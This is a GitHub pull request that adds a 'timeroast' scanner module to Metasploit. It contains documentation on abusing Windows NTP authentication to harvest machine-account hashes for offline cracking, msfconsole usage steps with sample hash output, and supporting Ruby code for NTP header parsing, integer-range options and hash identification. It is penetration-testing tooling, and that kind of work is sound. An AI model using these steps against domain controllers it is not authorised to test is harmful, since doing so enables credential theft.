Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add the timeroast module #19748

Merged
merged 9 commits into from
Dec 19, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 47 additions & 0 deletions documentation/modules/auxiliary/scanner/ntp/timeroast.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
## Vulnerable Application
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
because RIDs are sequential, they can easily be enumerated.

## Verification Steps

1. Setup a Windows domain controller target
1. Start msfconsole
1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
1. Note the RID (the last part of the SID) and password of the new account
1. Use the `auxiliary/scanner/ntp/timeroast` module
1. Set the `RHOSTS` option to the target domain controller
1. Set the `RIDS` option to the RID of the new account
1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
database is connected

## Options

### RIDS
The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.

## Scenarios

### Windows 2019 x64 Domain Controller

```
msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
RIDS => 4200-4205
msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/ntp/timeroast) > run
[*] Checking RID: 4200
[*] Checking RID: 4201
[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
[*] Checking RID: 4202
[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
[*] Checking RID: 4203
[*] Checking RID: 4204
[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
[*] Checking RID: 4205
[*] Waiting on 3 pending responses...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ntp/timeroast) >
```
2 changes: 2 additions & 0 deletions lib/metasploit/framework/hashes.rb
Original file line number Diff line number Diff line change
Expand Up @@ -126,6 +126,8 @@ def self.identify_hash(hash)
return 'vnc'
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
return 'pbkdf2-sha256'
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
return 'timeroast'
end
''
end
Expand Down
70 changes: 70 additions & 0 deletions lib/msf/core/opt_int_range.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
# -*- coding: binary -*-

module Msf
###
#
# Integer range option. A maximum value can be specified. Negative numbers are
# not supported due to - being used for ranges. Numbers can be excluded by
# using the ! prefix.
#
###
class OptIntRange < OptBase
attr_reader :maximum

def initialize(in_name, attrs = [],
required: true, **kwargs)
super
@maximum = kwargs.fetch(:maximum, nil)
end

def type
'integer range'
end

def normalize(value)
value.to_s.gsub(/\s/, '')
end

def valid?(value, check_empty: true)
return false if check_empty && empty_required_value?(value)

if value.present?
value = value.to_s.gsub(/\s/, '')
return false unless value =~ /\A(!?\d+|!?\d+-\d+)(,(!?\d+|!?\d+-\d+))*\Z/
end

super
end

def self.parse(value)
include = []
exclude = []

value.split(',').each do |range_str|
destination = range_str.start_with?('!') ? exclude : include

range_str.delete_prefix!('!')
if range_str.include?('-')
start_range, end_range = range_str.split('-').map(&:to_i)
range = (start_range..end_range)
else
single_value = range_str.to_i
range = (single_value..single_value)
end

destination << range
end

Enumerator.new do |yielder|
include.each do |include_range|
include_range.each do |num|
break if @maximum && num > @maximum
next if exclude.any? { |exclude_range| exclude_range.cover?(num) }

yielder << num
end
end
end
end
end
end
2 changes: 2 additions & 0 deletions lib/msf/core/option_container.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,9 +9,11 @@ module Msf
autoload :OptAddress, 'msf/core/opt_address'
autoload :OptAddressLocal, 'msf/core/opt_address_local'
autoload :OptAddressRange, 'msf/core/opt_address_range'
autoload :OptAddressRoot, 'msf/core/opt_address_routable'
autoload :OptBool, 'msf/core/opt_bool'
autoload :OptEnum, 'msf/core/opt_enum'
autoload :OptInt, 'msf/core/opt_int'
autoload :OptIntRange, 'msf/core/opt_int_range'
autoload :OptFloat, 'msf/core/opt_float'
autoload :OptPath, 'msf/core/opt_path'
autoload :OptPort, 'msf/core/opt_port'
Expand Down
24 changes: 19 additions & 5 deletions lib/rex/proto/ntp/constants.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,25 @@
module Rex
module Proto
module NTP::Constants
VERSIONS = (0..7).to_a
MODES = (0..7).to_a
MODE_6_OPERATIONS = (0..31).to_a
MODE_7_IMPLEMENTATIONS = (0..255).to_a
MODE_7_REQUEST_CODES = (0..255).to_a
VERSIONS = (0..7).to_a
MODES = (0..7).to_a
MODE_6_OPERATIONS = (0..31).to_a
MODE_7_IMPLEMENTATIONS = (0..255).to_a
MODE_7_REQUEST_CODES = (0..255).to_a

module Mode
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-3
SYMMETRIC_ACTIVE = 1
SYMMETRIC_PASSIVE = 2
CLIENT = 3
SERVER = 4
BROADCAST_SERVER = 5
BROADCAST_CLIENT = 6

def self.name(value)
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value }
end
end
end
end
end
117 changes: 117 additions & 0 deletions lib/rex/proto/ntp/header.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
# -*- coding: binary -*-

require 'bindata'
require 'bigdecimal'
require 'bigdecimal/util'

module Rex
module Proto
module NTP::Header

class NTPShort < BinData::Primitive
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-6
endian :big

uint16 :seconds
uint16 :fraction

def set(value)
value = value.to_d
seconds = value.floor
self.seconds = seconds
self.fraction = ((value - seconds) * BigDecimal(2**16)).round
end

def get
BigDecimal(seconds.value) + (BigDecimal(fraction.value) / BigDecimal(2**16))
end
end

class NTPTimestamp < BinData::Primitive
UNIX_EPOCH = Time.utc(1900, 1, 1)
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-6
endian :big

uint32 :seconds
uint32 :fraction

def get
return nil if seconds == 0 && fraction == 0

time_in_seconds = seconds + BigDecimal(fraction.to_s) / BigDecimal((2**32).to_s)
(UNIX_EPOCH + time_in_seconds).utc
end

def set(time)
if time.nil?
seconds = fraction = 0
else
seconds_since_epoch = time.to_r - UNIX_EPOCH.to_r
seconds = seconds_since_epoch.to_i
fraction = ((seconds_since_epoch - seconds) * (2**32)).to_i
end

self.seconds = seconds
self.fraction = fraction
end
end

class NTPExtension < BinData::Record
endian :big

uint16 :ext_type
uint16 :ext_length
uint8_array :ext_value, initial_length: :ext_length
end

# A unified structure capable of representing NTP versions 1-4
class NTPHeader < BinData::Record
# see: https://datatracker.ietf.org/doc/html/rfc958 (NTP v0 - unsupported)
# see: https://datatracker.ietf.org/doc/html/rfc1059 (NTP v1)
# see: https://datatracker.ietf.org/doc/html/rfc1119 (NTP v2)
# see: https://datatracker.ietf.org/doc/html/rfc1305 (NTP v3)
# see: https://datatracker.ietf.org/doc/html/rfc5905 (NTP v4)
endian :big
hide :bytes_remaining_0, :bytes_remaining_1

bit2 :leap_indicator
bit3 :version_number, initial_value: 4, assert: -> { version_number.between?(1, 4) }
bit3 :mode, onlyif: -> { version_number > 1 }
resume_byte_alignment
uint8 :stratum
int8 :poll
int8 :precision
ntp_short :root_delay
ntp_short :root_dispersion
string :reference_id, length: 4, trim_padding: true
ntp_timestamp :reference_timestamp
ntp_timestamp :origin_timestamp
ntp_timestamp :receive_timestamp
ntp_timestamp :transmit_timestamp
count_bytes_remaining :bytes_remaining_0
buffer :extensions, length: -> { bytes_remaining_0 - 20 }, onlyif: :has_extensions? do
array :extensions, type: :ntp_extension, read_until: :eof
end
count_bytes_remaining :bytes_remaining_1
uint32 :key_identifier, onlyif: :has_key_identifier?
uint8_array :message_digest, initial_length: OpenSSL::Digest::MD5.new.digest_length, onlyif: :has_message_digest?

private

def has_extensions?
# -20 for the length of the key identifier and message digest which are required when extensions are present
bytes_remaining_0 - 20 > 0 && version_number > 3
end

def has_key_identifier?
bytes_remaining_1 > 0 || !key_identifier.clear?
end

def has_message_digest?
bytes_remaining_1 > 4 || !message_digest.clear?
end
end

end
end
end
Loading
Loading